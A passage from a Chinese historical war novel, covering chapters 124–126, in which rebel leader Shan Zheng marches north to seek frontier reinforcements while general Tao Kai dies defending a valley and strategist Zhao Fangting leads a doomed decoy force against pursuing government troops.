他的话情真意切，可愈是情真意切，便愈是将单铮陷在两难之地。单铮便如被架在刀尖之上，欲进，痛彻心扉；欲退，后退无门。整个人好似剖成了两半，一半有心有情，道己所不欲勿施于人；另一半残酷、麻木，却洞彻得更深远，分明晓得，赵芳庭所言句句是真。 “是谁同你说的？郭显？”半晌，直至夜深甚至幽寂，单铮才冷冷开口。 赵芳庭没否认，“他虽私心甚重，但终究能解咱们兵微将少的难处。” “好，我去同他谈。”单铮已不复方才怒急攻心之色，却又罩上了一层近乎冷漠的麻木。他将杯中残茶一饮而尽，而后起身，草草扫了赵芳庭一眼。 如今也不知是几更了。赵芳庭渐渐觉出困意，或更近似一股突如其来的倦怠，只觉那沉重的疲累从心内扩散到了四肢百骸。他跟着起身，甚至不知该说一句告辞的话，沉默迟缓地迈出门槛，便要离去。 “十八。”单铮却在后头叫住了他，向着他被愧疚压垮了的瞿瘦背影，用轻淡得令人不安的声音，仿佛自言自语，“我便一桩桩事都做了，再没了怜恤百姓的心，又如何能做得人主，心安理得？” 赵芳庭没答他的话，也没回头。他不知该如何应对，便终于另一只脚也迈过门槛，茫然在幽深晦暗的廊下伫立了一会。 前路几乎望不见，他依着一贯的路径向前走，一步一步，愈向前，心内便愈冷硬，先舍了对他们的仁慈，再舍了对单铮的怜悯，最后舍了自己的一身。 他归家而去。 第124章 第124章花好时将谢，月明处还…… 单铮夤夜回了一趟府署，去见六王郭显。按理，大半夜相见十分失礼，然而他顾不得，仍是去了。 连日来因战事吃紧，他只宿在城外军营之中；今日因回府署，离了郭显时已是后半夜，索性回后宅暂歇一宿。 打发走了随从，他独自入了悄无声息的院子，仰见月明如洗，廊下挂着折柳一向为留的风灯，本待要入内，又料想她已熟睡，与其折腾她醒，不如去书房熬睡半宿。 正转身要去，主屋中堂的门却开了，里头朦胧立着个披衣曼妙的人，慵困惺忪的，拢一拢曲散的长发，见是他，惊讶起来，“这会子怎么回了？” 是折柳。她轻便熟稔地来挽他衣袖，张罗进屋。单铮便不由自主被她牵了进去。 桌上残剩了半盏冷茶。折柳也不劳动耳房的女使，自个儿将温茶瓶里又添了半盏，递来与他；一边拧热手巾为擦脸、宽衣脱靴，半途上哈欠连天，眼儿都半睁半闭，梦游似的。 单铮不过意，将她按回床上，“你自去睡。” 他低沉的声音放得轻。折柳点点头，将他换下的外袍搁架上，困乏地嘟哝：“去西院了？” 他衣上染了那院儿里的炉香。 单铮“嗯”了一声，入帐与她同眠；抱着她暖热柔软的身躯，久不曾如此安心，陡然放松，魂梦思绪便散漫不羁开来。 他似梦似醒，黑暗中的一切却缓缓明亮，怀中人盈盈的笑意也教人心热，百般牵挂，放心不下；又有几个儿女绕在膝头，学文学武；十八仍是十八，有些偷奸耍滑，又在松窗之下与他对弈，不耐烦地听他催促成家。 他一半的灵魂无知无觉，另一半却摧扯人心肠，便不自觉将折柳抱得紧了，盯着那些画面美妙到近乎荒诞，自眼前一幅幅溜过。 折柳才浅睡，察觉他无眠，勉强又精神了些，什么话也没说，安抚般亲了亲他下巴。 夜深不知时辰。他低微开口：“我要离开一趟。” “多久？”她模糊地问。 单铮答不上来。他并不知究竟多久，也不知究竟回不回得来，一念升起，又咽回肚里，末了道：“这一趟吉凶难料。我若死了，你……” 折柳蓦地便惊得清醒了，浑身彷如过了一筛，渐渐又镇定了下来，转而有些恼，想他大半夜不睡，说什么丧气话。 “你死了，我便改嫁。”她语气冷硬。 单铮满心里放不下她，冷不防却吃了一瘪，多少为自己有几分不平，与她辩对起来，“你这妇人！好歹夫妻一场，便为我守个三年又怎么的？” 折柳冷哼，“三年？我都老了，又嫁谁去？” 帐里夫妻絮语，半是玩笑半是真。单铮总觉着她冷情，磨扯道：“不然，以月代年，你总得给我守三个月！” “做你的春秋大梦。”折柳十分嫌弃，拧了他一把，“你死都死了，三年还是三个时辰，尽 由我说了算……你且顾眼前吧，官兵打来，若城破了，你我便只好做一对同年同月同日死的鬼夫妻，谁也别给谁守。” 她满不在乎说着，到底却压不住心底的恐惧，沉沉叹了一口气，又抱紧了他。 单铮终无言，黑夜中一下一下摩挲着她乌厚柔顺的发，也不知是安抚，或是从她身上汲取力量。 比起江宁、江宁城中军民，比起跟随他的弟兄们，比起折柳，天下苍生对他而言，到底太过遥远。他顾不得顾苍生，只得顾眼前、顾身边所爱。 边军回师，到底他棋差一着。郭显赢了。 单铮终于应了联络边军之计。 此事仍要与众将商议。转过天来，他再召集部将，讲明了一切，又有许多布置安排，即刻便整装待发。 官兵人多，他们人少，分兵实则是大忌。然精兵一支、守兵一支，实无可奈。当下拨出万余人，这一回由单铮亲自领兵，迂回北上；又留了宗契、吴览等人守城，并接应南下驰援的沂州军。 有几件事，在浩繁冗杂的布置事宜中，像沧海里几粒粟米，不经意便划过了。 一件便是郭显本人自请随单铮北上，理由无可厚非，只因他是郑武陵的表弟，若想说动郑武陵调集边军，非他出面不可；由此，赵芳庭重新做了一些部署，以护保郭显为由，又多添了些自家心腹战将。 另一件是吴览身边的一名小厮袁武，独自来见单铮。单铮打心眼里厌恶匈奴人，只为着他曾于吴氏有恩，才留他在宁德军，一向只眼不见心不烦。没想这一回他却自个儿找来，头一句开口便是：“我本不叫袁武，是乌孙小昆莫部蒲察贵主之子。我仰慕将军的为人，故今日请行，回到乌孙，一则与家人团聚，二则可时时关注部族，若有异动，便提早报与将军。” 单铮神情冷峻，极锐利地扫量了他一番，问：“你是匈奴人，为何反帮着异族？” 袁武身形高挺，兼有初具的锋芒与深邃的俊美，随着二年来长成，面貌与中原愈发迥异，“我不独为中原，更是为己。若与中原讲和，以草原的牛羊换取你们的米粮布匹，用不着流血便能养活我们的妇人与孩子，这是我乌孙的百姓都乐意见的。我若促成了讲和，必受子民拥戴，归蒲察氏后便能立稳脚跟。” “边关曾也设榷场交易，可你们还不是背弃盟约、烧杀抢虏？”单铮十分冷淡。 “邻人之间尚且有争斗，国与国又怎会有永不背弃的盟约？”袁武并不慌张，仍道，“且不论从前的榷场中，中原商人怎样欺骗诡诈，至少战争对双方都无好处。我愿榷场再开，并承诺有朝一日，若能为主，必约束子民，再不发争端。” 对此，单铮给出回答：“你是吴先生的随人，去留与否，无需我首肯。我不扣你，你只与他求情便是。” 袁武立直了身子，低头攒手，郑重行了个乌孙的礼，而后离开。 选调精兵、集结粮草仅花费了一日夜。一切俱备后，单铮率一万兵士自江宁南门而出，趁着月晦星淡，人衔草、马衔枚，几乎是悄无声息出离了江宁。 不过前后脚功夫，翌日天明，离江宁州城二十里上游处，江面之上，自西而来了一支浩无边际的战船队列，大如飞虎、小如海鳅，上列战旗飒飒，映日的盔甲连片成行，森然罗列。 随着一声警醒御敌的战鼓沉雷般轰鸣，宁德军战舰倾出，汤汤江面之上，就此展开水战。战船之间厮杀无数，击沉船只亦无数。碎橹残骸、尸首断躯源源不断自上游漂下，鲜血随浪翻滚，染得滔滔江水成了翻滚的赤色波涛。 宗契率兵从天晓直杀到日入黄沙，终于闻得对面鸣金而退，才摆阵回师；点集兵马，伤损了二千余，估摸着对面死伤数倍于自己，勉强算得上退敌大捷。 然攻守之势未变，且据斥候传来的战报，后方官兵陆续集结，到如今已有数十万众，夜间连营灯火彻地连天，几乎照得黑夜通亮，彷如日坠于野。 渡江强攻未必能取胜，可随着时间推移，更远处上游早已渡河的官兵终于自江南面而来，发起了陆路的进攻。 情势之急，犹如千斤悬丝，每一时辰，都有派出的斥候回报，告知敌情。吴览迁江宁城外百姓入城，拆毁城外房屋、坚壁清野。城中百姓惶惶，不分昼夜，常听震鼓浑浑，无数兵士列阵飞驰。 好在此时节，旱地逢甘霖，沂州的援兵二万，由陶慨领着，自东北渡江而来，终于入了江宁。 陶慨仍是那样豪壮的性子，甫入了城，在急来迎接的将领当中，便问起单铮与宗契；吴览多日未曾阖眼，一身衣衫皱褶、胡子拉碴地出迎，详细说了一遍分兵取洛京的计策，又道：“军情急迫，无暇召回部将，为将军接风；待来日江宁之围解后，再谢将军义气！” 陶慨摆摆手，大步随他入中军帐，听了近几日来的军报；还未怎么析出条理，忽听一声响亮的叫唤，猛抬头，见门外映着日耀，亮晃晃立着个半大的小子，身条抽长，凸眼长脸，浑身幼龙乳虎的精气神，直透出万丈的喜悦来，当先一步，跨到他身边。 “爹！”陶岳一嗓子震得山响，里外三层院都惊飞了雀鸟。 陶慨一时发怔，心怪这小子怎么忽地又拔高了一头，眼眶里却发热，鼻孔翕了两翕，狠狠压住了那一股突如其来的酸，粗大的巴掌往儿子肩头一拍，拍得人龇牙咧嘴，斥道：“嚎哪门子？礼数！” 陶岳窜上跳下嘿嘿地笑，围着陶慨团团地转，又问东问西，嚷嚷着要随父出城退敌。跟来的吴览只一旁瞧着，连日来拧得解不开的眉头终于也放松了几分。 时值晌午过半，城外江畔御敌的宗契发书至，道双方仍僵峙，官兵今日无异动；西南陆路拒敌的鬼面人也报回敌情，今日未有大的阵仗。吴览打发了斥候，一面主持安置沂州兵马，一面吩咐整治将领食宿，席间又亲自把盏，再三谢过了陶慨。 当晚，沂州军饱餐休整，歇宿一宿；陶慨与儿子同塌而眠，听他说不尽的二年来大小事，直聊到迷迷糊糊了，嘴里还义父长义父短，心中好笑，又感激单铮，抚摸着儿子的脑袋，半是搪塞半是认真，“好好好，待你义父攻取了洛京，与那昏君换换。他做了皇帝，你为他前部大将，东征西战……再不要聒噪，快睡！” 没料想陶岳听了，竟认真思想了一回，“义父待我甚好，我学他武艺二年，得倍加地报答他。往后他做了皇帝，我便做四年将军，为他杀敌。” “四年之后呢？”陶慨觉着他这算学学得古怪。 “我、我还是想随您回沂州。”陶岳难得害起臊来，支吾道，“爹，我听说鸟尽弓藏，那反倒不好。咱们还是回家吧，年节还能为我娘祭扫。” 陶慨被口水呛住，半晌骂道：“谁教你这胡说八道的？才学会几个词儿，就 显摆上了！” 陶岳还要再说什么，被他爹又催着睡，只得满腹八字没一撇的心事，沉沉睡去了。 第125章 第125章生死俱为杰，成败史家…… 黎明未至，忽有急促的扣门声响起，惊动陶慨。却是吴览立在屋外，满面焦色，手执一张信条，交与他，“一个时辰前的信报。西南五十里外，官兵忽掉头西去，数有七八万众。想是彼军探得单将军北上，纵兵急追。” 陶慨匆匆穿整，顾不得与儿子说话，大步随吴览而出，心中盘算路程，单铮那一支已行了四日，虽是疾行，至多不过三四百里，又是南面迂回，若官兵直道急追，恐怕两日便能追上。 单铮那万余兵士，是江宁为今一切的希望，断不能为敌所扣。 “我此下江宁，调选的俱是强干精兵，一霄饱餐休整，今日便能出城迎敌。”陶慨道，“鬼面将军自领一万兵，我即与他汇合，便是死，也必羁留官兵。” 吴览咬牙，“我再抽调一万守兵与将军，陆路官兵至今仍不断集结，望将军马到功成！” 陶慨却迟疑了片刻，推了一半人马，“先生只予我五千兵即可。城中本就兵力不足，一旦大军抽调，他若趁虚而入，咱们便连家也回不得了！” 当下点齐了本部的沂州军，陶慨又领了宁德军五千的兵权，轻装简行，疾行奔驰至五十里外的战场。 南城门吊桥放下，跨过泱泱江水，行军队列犹如映日的飞虹长贯，肃穆且昂扬。 陶慨朝晨点将行军甚急，没一刻工夫分与陶岳。陶岳便挤在人群之中，为瞧真切，索性窜上城楼，将脑袋搭在女墙的垛口，果然遥遥望见带领全军的主帅，一马当先，金盔铁甲，耀得寒光朔朔，只觉异常威武神勇，满心与有荣焉，不由得挥舞双手，竭力大喊：“凯旋！凯旋——” 或是城中人声太嘈杂，他爹又离得太远，终究行在马上，没有回头。陶岳目送父亲离去，眼睁睁望那一支再长不过的队列消失在了苍翠山水尽头。 陶慨的二万五千兵于黄昏赶上了官兵，恰逢一山坳谷地，鬼面人的兵马正苦苦与之厮杀，闻得援兵驰至，军心大振，竟一时反守为攻，压过了官兵一头。 天色愈晚，那处索性鸣金。双方各退数里，摆开连营军帐。宁德军伤残过半，鬼面人集结残部，一张精铁鬼面斑驳血染，两只幽深的眼珠直射出近乎凶狠的光芒，连带为人瞧见的裸。露的肌肤上，筋脉也扭曲地抽搐。 “前部精兵行军路线被泄露了。”他不惯说话，一旦开口，嘶哑难听，如生铁刮擦人的耳膜，“官兵不沿去路追赶，却抄近道拦阻。我得去报信，另带兵马救援。” 然此处的官兵数万，不会那样轻易由他过去，他们胶着在了这一片谷地周围。 陶慨道：“你伤损过多，这样，我将所领的五千宁德军填与你，你率兵但去，我为你把守后路，管保教他们再追你们不上！” 他虽说得豪气，但鬼面人默默盯着他，灯火将两人心知肚明的影子投在帐布上，一时间谁也都没再开口。 七八万官兵，哪是那样好打发的。 “珍重。”许久，鬼面人应了他部署，唯道了两个字。 陶慨久经风霜磨砺的脸上，神色并不因此感到凝重，反绽露了一丝笑容，笑中有些感喟，“多承你情，教授犬子武艺。往后他若不成器，还望将军看在今日我的情面上，多照应他。” 鬼面人道：“好。” 二人诺定而别。当夜，鬼面人率兵离去；翌日平明，官兵欲过山谷，为沂州军死死咬住不放。前日死尸未收，又被今日兵马踏起的黄沙覆盖，洛京的禁军、州府的厢军、北边的沂州军的尸体，层层堆垒，不分彼此地倒在了对方身畔。 陶慨咬牙苦守，与这数万官兵反复占领高处，以制山谷坳口，几度拉锯，硬生生绊了官兵的脚步十日，终因兵力悬殊，抵敌不过，一次在身先士卒的白刃战中，连人带马陷入枪尖之下，尖刃攒身，以死相殉。 失了主帅，残兵败将丧的丧、逃的逃，所剩十不存一。好在官兵急于追缴已去的宁德军，并不淹留，随即向西而去。沂州军残部艰难打扫战场，巡回陶慨的尸首，送回了江宁。 而江宁正守城苦战。二十万官兵中，后发之师将近半数自下游润州渡江，东面而来，与原本江面之上的官兵水陆并进，夹攻这一座石头坚城。宗契被迫留副将继续镇守江畔天堑，自己率兵死守东门，倚仗城高池深，昼夜退敌，几乎不曾从城墙之上离开。 城中危急若此，连个像样的葬礼都无法为陶慨举办。殡葬之事，便全权压在了府署内宅的折柳身上。 折柳忙得抽不开身。她也想风光发葬了陶慨，却一时连做斋的僧道都找不齐。布坊缎庄十家之中，闭门七八，仅有的几家铺子，麻衣衰服早已不凑手，只因城中家家户户父兄亡故，发丧举哀，哭声遍于街巷。 权益从变，折柳只得亲自连夜裁了衰服，从府署里找来奴仆女使帮衬停灵，将大小殓并而为一，又教陶岳怎样举哀、怎样答对、怎样守灵。陶岳只管听着，仅仅二日，本就凸瘦的腮边愈发没了肉，脸色苍白，大大的眼肿胀起来，也不哭，听罢只道已会了。 折柳心疼他，手头却仍有一堆琐碎的事要办，忙得也几乎不曾阖眼，摸了摸他脑袋，叹了一声，又脚不沾地地忙着去寻做斋的僧道去了。 她午时去，至晚才两手空空地归来，与一同忙活的秾李商议：“此时节不比平常，哪还有什么僧道，便有也早被人请去了。咱们难道还能从人家家中拉扯来么？最次，寻个在家的居士，会念经便是了。” 正为难着，忽从人来报：“高僧回来了！” 宗契几乎紧随其后而来，沉重冷肃，尚带着从城墙上下来的浓浓的煞气，入了府署中堂的庭院，举目望见张挂的白幔，瞧见已布置好的灵堂，与灵堂内外妇人孩子红肿的双眼，才仿佛知觉了一般，收了几分对敌的杀伐之心，缓了缓面色。 “听闻你们寻僧道？”他也不知如何寒暄，开口便荐自己，“我便是。我来念经。” 折柳忙乱悲痛了两日，闻言好悬没笑出声来，可不敢教他煞神拧做菩萨，迟疑着道：“只是念经……” “我念《往生咒》。”他道。 说罢，也不待人应肯，先去将一身染血的盔甲换了，换上了往日里常穿的一件灰布直裰。 他不像个僧人，谁也不敢找他做斋念经。众人口里称作“高僧”，却也并不怎么把这早开了杀戒的人看作佛前的弟子。连宗契自个儿也不自认做僧人。他心所想，即是此役一后，回五台山，告师还俗，携应怜做个红尘里的一对平常夫妇。 当夜，灵堂空空荡荡，守灵的有麻衣衰服的陶岳，木愣愣坐在木棺旁，仿佛望着前方，却什么也没望进眼里。 他耳边有宗契低低念诵亡人经咒的声音，一遍一遍，渡送结义的弟兄一程。 宗契师父平日里从不念佛。陶岳忽发了奇怪的念头：佛祖与他恐怕不相熟，也不知承不承师父的情。 但他爹是个有情义的大英雄，好人总不会堕入地狱。 宗契闭目垂首，双手合十，虔心念诵，却于贯入半明半暗灵堂的凄冷的夜风里，逐渐闻听得一阵压抑的啜泣。他睁眼看去，原来是陶岳终于哭出声来，瘦小干瘪的身子一耸一耸，耷拉着脑袋。陶岳浑浑噩噩地憋愣了两日，这时刻一旦哭了，便如洪水出闸，再也压抑不住，由啜泣渐而成了嚎啕大哭。 “我要……我要报仇！”他哭得上气不接下气，通红的双眼里有切齿的仇恨。 宗契又念过了一遍经咒，才停下来，望他时目光仿佛穿过了经年的阻隔，望见了曾经同样切齿仇恨的年幼的自己。 “你该做什么，便做什么，好好习文练武，不负你爹在天之灵。”他道，“报仇的事，有大人来做。” 他说罢，接着闭目念诵。经咒诵声与声嘶力竭的哭声相伴，随着缭绕的香烟直上，达了天听。 另一头的单铮处，已然行了半月，绕行至淮水源头，继续往北。若不迂回，此时恐怕早已到了洛京。 然崖高涧深，弃牙道而择荒野，行军本就不易，又逢着入夏多雨，昼夜行在泥泞之中，更为艰难。 他们一路上遇到过小股的州府厢军阻截，爆发过几场不大不小的战斗；厢军不是最凶险的拦路虎，尾随的追兵与源源不断从洛京后发的禁军才是。 万余人的兵马，再怎样避人耳目地行军，总无法全不露马脚。很快，官府的斥候眼线发觉了不对劲，急报一分为二，其一传至洛京，其二报与正在江宁的南征军主帅刘升。 故此，刘升才回拨几乎一半兵马，掉回头直追击单铮。期间又陆续得了几次信报，里头说得分明，那江宁叛匪的头目单铮与劫留 为质的六王郭显皆在阵列之中。 刘升初觉为难，本想着投鼠忌器，若为剿匪而伤了皇亲，自己有几个脑袋也不够掉的；而帐下的幕僚却谋划道：“六王虽是皇亲，然龙子相斗，官家未必愿见其归朝。若官家顾念手足之情，那将军更不可轻易放过那股贼匪，否则稍有不逮，被有心之人参一个营救不力的罪责，将军更难脱其责。” 刘升深以为然，且因晓得二十万禁军发出，洛京实则空虚，若任敌攻进，必会震动朝纲，便驱使部下兵马，昼夜不敢稍缓，追之愈急。 由此兵马苦不堪言，只因先前为陶慨的沂州军羁留，十日恶战下来，伤残甚多，却连休整也不得，马不停蹄又要追击单铮等人；本已折兵数万，路途之上，又伤残困病，以致掉队逃逸者无数。待得终能探听单铮贼匪确切的位置动向时，一点集兵马，只剩了三万不到。 饶是如此，比拼单铮的一万余人，也尽够了。 单铮的兵马也已是强弩之末，昼夜行军半月，久已疲乏，若再不得郑武陵的边军回应，恐怕再有几日，教刘升的追兵赶上，足致覆灭。 单铮心中焦灼，却丝毫不得露于面上，否则军心不稳，接连多日，神色虽不显，嘴上却生出了燎泡，随着洛京愈发临近、追兵愈发急迫，面容也愈发冷峻。 终有一日，望穿了秋水的众人等来了西北联络的斥候的信报。斥候带着镇军大将军的亲笔手书归来，激动之色溢于言表，“郑将军已发重兵，在赶来的路上，道再有七八日，先锋骑兵必能驰至洛京城下，步战随后，与将军合兵！” 单铮精神为之一振，一面拆信，一面急召部将商议，连道三声，“好！好！好！” 然振色过了，眉心又重拧紧，愈发地心烦。 信中郑将军道七八日。七八日，眼下的局势，追兵恐怕一日便能赶上，他哪里能争得七八日功夫？ 战将军师们齐聚，甚至行军未停，众人策马攒拥，以单铮为首，各自传看了信报。 “郑将军终与我军联络，七八日俱可备。以诸位看来，怎样能拖得那刘升七八日？”单铮开口。 诸将沉默一晌，李三郎最先出列，与部下一样，已露疲惫，目中却透出火一样的灼烈，当即请缨，“沂州援兵为阻官兵，几乎死战殆尽。他客军远来尚能如此，我本部为何不能！请将军予我两千兵，我必以死战拖迟他几日！” 他之外又有数将同作此想，一齐出列，请缨出战。一旁久不作声的六王却勒马先行了几步，与单铮并辔，道：“我兵马是疲惫之师，人数匹敌又悬殊，军心本就易乱，如今便是全部将士与之作战，尚且不能敌一二日，更遑论分出三五千对敌。将士们有死忠的战心，却不当轻易抛命而无益。” 钱美日头下眯起眼，不大客气地盯着他，“那你道要如何？” “等。”郭显只说了一个字。 他只望向单铮，单铮便懂了他的意思。 “咱们最多等上两日。”单铮沉沉道，“鬼面将军率万人驰援而来。是我已变换路线，他迟至今日未至，但想来已不远。” 众将顶盔掼甲骑在马上，愈发地一逞威雄；独独赵芳庭，本就不壮气，哪怕穿了盔甲，甲下也不过一把清瘦的骨肉，拨马行来时，反倒有些吊儿郎当的纨绔意气。而众将之中，若论心智心眼，束起一沓来，也不顶他一个好用。 “鬼面将军上一回信报在六日前，此后音讯即无。咱们无从得知他已行到了哪里。若要等，风险太大。”他顿了顿，道，“——这不是等，是赌。” 赌上全军将士的性命，堵上江宁苦守死战的宁德军的性命，堵上城中数十万无辜百姓的性命。 “除了赌，还能怎样！”有人压抑不住，低骂了一声。 赵芳庭却老神在在，不急不忙的模样。 他向来有主意时，便爱吊人胃口地显摆。单铮早已瞧惯了他如此，便晓得他已有了计策。 “十八，你有何计，但讲来，不要卖关子。”他道。 赵芳庭一笑，回望众将，最后望明光耀眼的日头下，望向单铮，“哥哥，我的确有了计策。不是等，是诱。” “咱们两方斥候探马俱心知肚明，我知他主帅何人、部将哪些；那主帅刘升也知我处有主将与六王。六王是皇亲，他是官身，必不敢攻伐，只想着拿下哥哥。咱们便使个诱敌之计，分出两拨兵马，一拨由哥哥领着，携六王北上合兵；另一拨为诱敌之兵。便假做六王乱中说动一支兵马逃出宁德军，一面传信与那主帅刘升，教他捉拿叛匪；一面北去洛京，名为归朝。那刘升必不敢疑心六王，只以为哥哥在饵兵之中，必然放纵直追。那时节饵兵将他兵马带离，哥哥便再无后顾之忧。” 单铮拧眉，再三思索，沉吟半晌方道：“此计虽险却可行。只是饵兵需随机应变，稍有不慎，为刘升看出破绽，便前功尽弃。且此计一出，饵兵必然险绝，若是……” “咱们已垒土千层，若是功亏一篑，那才可惜，又何曾惜命？”赵芳庭压下众人请缨势头，言笑晏晏，“这计是我所出，活计自然由我所领。且这活费心思，除却我，还真无人可做得精细。至于险绝——我只需拖他个三五日，待得鬼面将军一至，解了燃眉之急，便是逃之夭夭。你们那处成了，我也不担罪责。” 他虑得越精细，单铮却越觉着没把握，当时不说什么，全且应了。不过一刻，只他两人碰头，单铮便问：“你做饵兵诱敌，有几分稳妥？” “哥哥所言稳妥，是指什么？”赵芳庭反问。 单铮眉眼沉沉地盯着他。赵芳庭只得收了油腔滑调的态度，撇撇嘴，“咱们所做，皆是脑袋别裤腰带上的事，哥哥怎么愈发胆怯起来？我若说有十分稳妥，你却也不信；我说有三分，你又怕了。” “不是怕……十八，”单铮心乱如麻，只觉前路渺渺，离当初心目中所想已隔了云山十万重，“是，我有私心。我只你一个手足兄弟，万不愿见你有什么闪失。你若没把握，早与我说，咱们再另想个计策。” 赵芳庭含着笑觑他的面，眉眼垂了垂，思想什么心事，一会儿道：“哥哥，你恁的婆妈。如今不是买卖挑菜，你这个不好，尽可挑那一个，没见那姓刘的主帅恨不得狼叼肉一般把咱们叼了去么？你放心，哥哥，我从不托大，你惜我的命，我可不更惜自个儿的命？我还得睁着眼，瞧你过关斩将，登那人极之位呢！到时你做唐祖，我做你的魏征，咱们便以起家之地为国号，就叫凉……啊忒，实不吉利……” 他叨叨叨，单铮没奈何，巴巴地听着，揉揉脑袋，翻着白眼教他去了 。 第126章 第126章来日自有语，断功过有…… 袭营的消息传来时，刘升正自枕戈待旦，兵甲也未除去，闻讯猛地一跃而起，粗魁的身躯不可思议地轻敏，一面攥渴望饮血的兵刃，一面向亲兵发下号令：“令左右二将军整肃兵马，反攻他袭营宵小！我便早知他有此着，他敢来，我管教一个也跑不脱！” 刘升是此次将领里提拔上来作统帅的那个，极迫切立些军功凯旋。本想着宁德军那股匪徒，能有多少斗志，因此预料二十万大军去去便返，他好因功授爵；却没料到如今，二十万人拖住了大半，死伤无计，却也没捉个匪首，他自家脸面上无光，又怕镇不住手下副将，心思愈发急切，思忖对面却也山穷水尽，袭营之举早在预想之中。 因此那头并未打个措手不及，反倒教刘升杀死捉伤了好些，拼得个鱼死网破，才走脱了将首。 刘升教带来几个能说话的俘虏问询。俘虏们皆道：“军中粮草已罄尽了，将军们彼此不睦，时常争吵，有同六王交好的，俱被单将军罚贬了！” 俘虏们被押下去。左右亲近的将领之中，刘升哈哈大笑，旁人问及缘故，他道：“你们只管密切注视那营中，想必这一二日便要变故。六王若机灵，趁此时机也可逃得一命。” 果真，不出他所料，才转过一日，斥候传来密报：“匪营中内讧，正反出一股人马，数目约有三千之众，分道北上去了！” “那许是依附六王的人马。”刘升唤来左右心腹，一时间有些拿不准主意，“若如此，我分出一军，护保他回京也就是了；可若不是，咱们又得分兵去追……” 别说他宁德军是乌合之众，刘升心中清楚，自己这一支人马也将近山穷水尽，再要分兵，不是上策。 他一个心腹的幕僚道：“将军何需分兵？依某想来，咱们只抓那匪首单铮即可，他若被擒，余贼无首，自然溃散。” “说的是，”另有一人道，“可急切之间，咱们怎样得知，那单贼在哪一支军中？” 众人纷纭出言，总说不准个必然。刘升听得心烦，一挥手，“是与不是，先打一场再说！” 当下点将整军，趁着那头内讧，数千人的队列拥滞不前，刘升亲帅一支强劲的精兵，轻装骑行，追上乱匪，切入营腹之中，打了对方一个人马大乱，丢弃了无数辎重、甲兵，甚至随身的锅灶。 刘升在此获得了一场大捷，却只见折倒的匪军大纛，上绣的“宁德”二字污渍泥泞，却不见匪首单铮，因此疑心单铮并不在这一支军中，心中好一阵窝火。 正烦躁时，却见幕僚点清了清剿辎重数目来报，于无人时，悄悄取出了两截通体碧翠的断笛，低声道：“将军还记得从前咱们耳目所报么？那单贼有一心腹，姓赵，他随身便有这样一支玉笛，据说极爱此物，连字号也因此而改。” 刘升恍然想起，抚掌大悟，“确有此事！确有此事！那赵……赵……” “赵芳庭。”幕僚提醒，“字玉笛。” “赵芳庭！”刘升目中陡然射出志在必得的光芒，“是了，他与单铮从来焦不离孟，此次被咱们打得落花流水，连心爱之物也顾不及了。咱们只穷追这一支贼兵即可！” 当下使人马不停蹄传告后方大军，向此处进发。像是要印证他此一论断，一日后，另一支北上的贼军之处，回来了自家的斥候，带着一封简短的密信，交予刘升。 刘升匆匆览过，大喜道：“果然，六王说动了一支贼兵归附，咱们所言不差！传我号令，咱们拨出一支人马——不要精兵，精兵还得留着与我剿匪——三千即可，护保六王回朝……无需与他过密。六王如今身份尴尬，我但求无过，哪盼什么功劳？” 三千人领命而去。刘升留在此，继续紧追那一支即将溃散的逃亡匪兵。 “追上来了？”赵芳庭望来报信的斥候。 这斥候污泥满脸，衣衫早已瞧不出本来颜色，褴褛不堪，望面容甚至辨不出是二十、三十或四十的年纪，唯有两只眼绽射出精明冷静的光亮。 军中必不可缺查探情报的斥候，做这一行当的人挑之又挑，首先要久经沙场，懂得军阵、辎重、行伍队列；其次性情沉稳、头脑灵活；最好后方留有家室，才能确保忠心。 他眼前便是这样一个斥候。 那人报说了所见的一切，不掺一点自己的看法，同以前无数回那样，报过便要离去。 这一回赵芳庭却叫住了他，“你可探出他们因何而笃定是我这一支？” 斥候道：“……惭愧，卑下进不得他营中，无从探知。” 赵芳庭并未怪罪他，反常地却也未遣他走。于是斥候只得干立在他身畔，间或瞧一眼比自己形容也好不到哪里去的主帅赵芳庭。 他们刚吃了一次败仗，好容易重新集结了散失的人马。赵芳庭命令向西而去。可向西是去哪里，谁也不晓得。他们之中的大多数人，甚至一生从未西去过这样远的地方。 “也罢，拿这话问你，我是在欺负你。昨日追战之时，你尚不知在哪处探信呢。”赵芳庭笑了一声。 时值天晚，他们宿在一处滩头，脚下是粗粝的石子与河水。周围有来来去去拾柴生火的士兵，从此经过，并未瞧见搭得简易粗陋的木棚中的他们。 木棚中有松明火把，映亮了赵芳庭瘦削却平淡的脸。 “他们拿了我的玉笛。”他道，“真聪明，连我都没想到这一节。是我小看了她。” 斥候听得半懂，沉默以对。 赵芳庭忽然又问：“你叫什么？” “卑下陈松。”斥候道。 “陈松，”他问，与军阵毫不相干，“你可有家室？” 陈松回答：“有母亲、妇人在江宁，无儿女。” “会有的。”赵芳庭点点头，闲叙了几句，“会有的——待你回到江宁，一家团聚，过个二三年，儿女便都有了。你那妇人……” 他截了截，似是觉着这样谈论人家妇孺不大好，转而又不知想到什么，神色轻松起来，“对你浑家好些。妇人么，都是属黄蜂的，你亏欠她一点，她扭过头便蛰你一下……” 他说得怅然，可斥候陈松还是听不懂，有些莫名其妙。 说罢多时，赵芳庭叹气，“你去吧，谨慎些，别丢了命。” 斥候领命去了。 六月的夏夜湿热，河滩的夜雾水汽漫进木棚，空气黏腻窒闷。时常有人来覆命、来问询，赵芳庭无暇想他的心事，索性出了棚，立在河滩旁，望四面环山绕水的地形，想今夜之后的攻守，最后才望见今夜星繁月浩、山水空阔的美妙夜色。 西凉府是郑武陵的边军所在，他们正从那处班师。西凉府也是他与单铮的家乡。 西凉府的夜空清爽，比此地星月更浩瀚。若天留他一命，他还能回去，便能望见那美上千万倍的夜空。 但…… “恐怕再难归了。”他喃喃。 “将军？”身旁恰来个问事的校尉，听见模糊低语便问。 赵芳庭撇下星月，眨眨眼回神，“无妨，讲。” 他将家乡抛到了脑后，满心重又盛起了行军与算计。 绣有“宁德”字号的大纛被复立起，这一支五六千人的兵马餐风露宿，便艰难地跟着大纛的方向向西挺近。 后方的官兵却精神大振，直追不休，又不断发轻骑兵袭扰，终于在第六日，追上宁德军。两方便在一处开阔的石碛滩地上展开了血战。 这一场杀，漫漫昏昏，铠甲相接得如乌云，蔽日无光。宁德军连着伤残疲惫共只数千，对上官兵数万，被围了个里外不通，层层被割下血肉来，死伤累累。 赵芳庭刀枪的武艺并不出众，马战也平平，如今斗乱了场地，也率众厮杀冲突，却怎么也难出重围。身边有副将掩杀而至，满身血气，到他跟前，也顾不得上下，大怒道：“不是说援军已至！援军呢！” 